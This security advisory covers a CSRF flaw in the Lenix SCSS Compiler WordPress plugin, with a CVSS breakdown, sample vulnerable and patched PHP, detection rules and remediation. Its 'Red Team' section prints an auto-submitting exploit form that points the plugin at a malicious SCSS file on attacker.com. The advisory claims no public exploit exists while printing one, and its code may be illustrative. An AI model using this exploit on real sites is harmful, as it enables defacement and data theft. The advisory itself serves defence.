CVE-2025-60145

Executive Summary

CVE-2025-60145 identifies a Cross-Site Request Forgery (CSRF) vulnerability in the Lenix SCSS Compiler plugin (version <= 1.2) by vendor Yonifre. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying SCSS compilation settings or injecting malicious CSS, without their consent. The vulnerability is classified under CWE-352 and carries a CVSS score of 4.3 (Medium). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin (lenix-scss-compiler). As a third-party component, it introduces risk into the WordPress supply chain. Administrators should monitor for updates from the vendor and consider disabling the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need authentication.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Attacker can modify SCSS settings or inject CSS.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires user interaction but can lead to unauthorized configuration changes or persistent XSS via injected CSS.

Deep Dive & Mechanics

The Lenix SCSS Compiler plugin for WordPress fails to implement anti-CSRF tokens (nonces) on its administrative actions. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to the plugin’s settings endpoint. This can change the SCSS source directory, output path, or inject arbitrary CSS/SCSS code that will be compiled and served to site visitors.

Attack Flow:

1. Attacker hosts a malicious page containing a hidden form or JavaScript that auto-submits a POST request to wp-admin/admin-post.php?action=lenix_scss_update_settings.
2. The request includes parameters like scss_source, scss_output, or custom_css.
3. If the admin is logged in and visits the attacker’s page, the request is processed, altering the plugin’s behavior.
4. Injected CSS can be used for defacement, phishing, or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (lenix-scss-compiler <= 1.2):

// admin/class-lenix-scss-admin.php
public function save_settings() {
    if ( isset( $_POST['scss_source'] ) ) {
        update_option( 'lenix_scss_source', sanitize_text_field( $_POST['scss_source'] ) );
    }
    // No nonce check
}

Patched Code (Hypothetical):

public function save_settings() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'lenix_scss_save_settings' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    if ( isset( $_POST['scss_source'] ) ) {
        update_option( 'lenix_scss_source', sanitize_text_field( $_POST['scss_source'] ) );
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites: A WordPress site with Lenix SCSS Compiler <= 1.2 installed and an authenticated admin session.

Exploit HTML (csrf.html):

<html>
<body>
<form action="http://target/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="lenix_scss_update_settings">
    <input type="hidden" name="scss_source" value="http://attacker.com/malicious.scss">
    <input type="hidden" name="scss_output" value="/var/www/html/wp-content/themes/">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Usage: Host this file on an attacker-controlled server. Send the link to an authenticated admin. Upon visit, the form auto-submits, changing the SCSS source to a malicious file hosted by the attacker.

Blue Team

Detection Steps:

1. Monitor for unexpected POST requests to admin-post.php with action=lenix_scss_update_settings.
2. Check for changes to the lenix_scss_source and lenix_scss_output options in the database.
3. Review server logs for referrer headers from unknown domains.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-post.php with action=lenix_scss_update_settings and suspicious parameters.
• File: Unexpected SCSS files in the WordPress uploads or theme directories.
• Database: Modified lenix_scss_source or lenix_scss_output options in wp_options table.
• Log: Referrer header from an external, untrusted domain in admin POST requests.

Detection Engineering

YARA Rule

rule CVE_2025_60145_CSRF {
    meta:
        description = "Detects CSRF exploit attempts against Lenix SCSS Compiler"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60145"
    strings:
        $csrf_form = "action=lenix_scss_update_settings" nocase
        $scss_param = "scss_source=" nocase
    condition:
        any of them
}

Sigma Rule

title: CSRF Exploit Against Lenix SCSS Compiler
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-post.php with lenix_scss_update_settings action
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=lenix_scss_update_settings"
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is added in future)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-60145 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin-post.php";
    http_uri;
    content:"action=lenix_scss_update_settings";
    http_client_body;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the Lenix SCSS Compiler plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block POST requests to admin-post.php with action=lenix_scss_update_settings from untrusted referrers.
3. Long-term: The vendor must add nonce verification to all admin actions. Users should monitor the plugin’s repository for updates.
4. Workaround: Use a security plugin like Wordfence to add CSRF protection to all admin forms.

Valters IT